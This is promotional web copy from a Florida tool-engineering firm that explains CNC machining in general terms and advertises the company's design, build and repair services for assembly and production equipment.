These instructions can be seen in the form of CAD (computer-aided design) files, which can be transmuted into a sequential program of machine control instructions. After the code is written, a machine can perform an automated task without a manual operator. By automating machine processes, CNC machining increases the speed of production, reduces labor costs, and cuts down on human error.

After the G-code is inputted, the computer can control the exact velocity and positioning of the tool it is equipped with; because of this, it is possible to produce complex three-dimensional shapes and products that would be incredibly difficult to fashion with manual machining or labor. Due to this precision, CNC machining is primarily used for materials that require a high level of precision in a repetitive fashion (think mass-produced furniture and computer components).

machine mill system

Common CNC Applications

There are a host of materials and applications that can be produced through the process of CNC machining. For example, water jet cutters can be completely automated to cut through very hard materials, such as metal and stone. High-pressure water, sometimes mixed with another agent, can cut through just about anything you can imagine. These machines are often used to cut materials that cannot handle the temperature of heat-intensive processes used by other CNC machines (such as plasma cutters and electric discharge machines). Many factory machine parts, aerospace materials, and industrial mining equipment are fashioned through the use of water jet cutters.  CNC systems and machines are wide-ranging and can include:

  • Laser Cutters
  • Glass cutters
  • 3D printers
  • Lathe machines
  • CNC mills
  • Wire-bending machines
  • Foam cutters
  • Wood routers

These machines are capable of complicated cuts and drilling that can be made at various angles and levels on a work medium. As long as the machine is coded properly and safely, complex designs can be repeated over and over again.

Automation Tech Support Services

At Automation Tech Support, we provide full-service tool engineering that can completely design and build any type of assembly or production equipment for manufacturing purposes. All custom made components for the machines we build are manufactured at our facility. We can manufacture custom parts from your CAD files or we can design the parts based on the application you require. Whatever your tool engineering needs are, we can help.

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The Design and Manufacturing of Assembly and Production Equipment http://automationtechsupport.com/the-design-and-manufacturing-of-assembly-and-production-equipment/ Tue, 01 Jan 2019 16:49:36 +0000 https://automationtechsupport.com/?p=481 At Automation Tech Support, we have the experience and technology to help your manufacturing dreams come to light. We have a diverse portfolio that includes low volume manual assembly, semi-automated assembly, high-volume fully automated assembly, cost-effective assembly design, and machine modifications and rebuilding. How Does...

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At Automation Tech Support, we have the experience and technology to help your manufacturing dreams come to light. We have a diverse portfolio that includes low volume manual assembly, semi-automated assembly, high-volume fully automated assembly, cost-effective assembly design, and machine modifications and rebuilding.

How Does It Work?

You come to us with a specific need as it relates to machine building, rebuilding, and/or repairing. For example, ATS increased production by 20% on a multi-million-dollar high speed packaging machine by replacing worn components and redesigning some of the original equipment. Our skilled engineers develop innovative solutions based on your unique machining needs. We offer a personalized, reliable, and competitive offer for the machining or repairing of assembly and production equipment.

Our services deliver decreased machining time, decreased cost, and increased flexibility; it doesn’t matter what industry you are automating for, Automation Tech Support has the know-how to get the job done. No type of automated assembly machine or system is out of the question and our experience includes the latest in CNC machining technology and complex robotic automation. We work with PTC, Autodesk, and Solidworks to build a comprehensive model of the machinery before we begin production.

The products we machine have a wide range of applications and are used in many industries including:

  • Automotive
  • Computing
  • Assembly
  • Production
  • Material handling
  • Packaging
  • And moremachine shop grinder

Our Equipment

At Automation Tech Support, we have the equipment to get the job done. This is a list of some of the machines we have at the shop:

  • VF-2 machining center
  • TL-2 CNC lathe
  • 2 of a Trump milling machine
  • 1 of a Lagun milling machine
  • 14″ manual lathe
  • A surface grinder
  • And various other machines to manufacture just about any type of custom part.

Full-Service Tool Engineering Company in Boynton Beach

Automation Tech Support is a full-service tool engineering company that can completely design and build any type of assembly or production equipment for use in manufacturing. With over 45 years of experience, Automation Tech Support is your go-to for all of your design and manufacture needs in Boynton Beach. We have the ability to design and manufacture any and all assembly and production equipment.  Give us a call at (561) 737-3577 or visit our contact page to get in touch.

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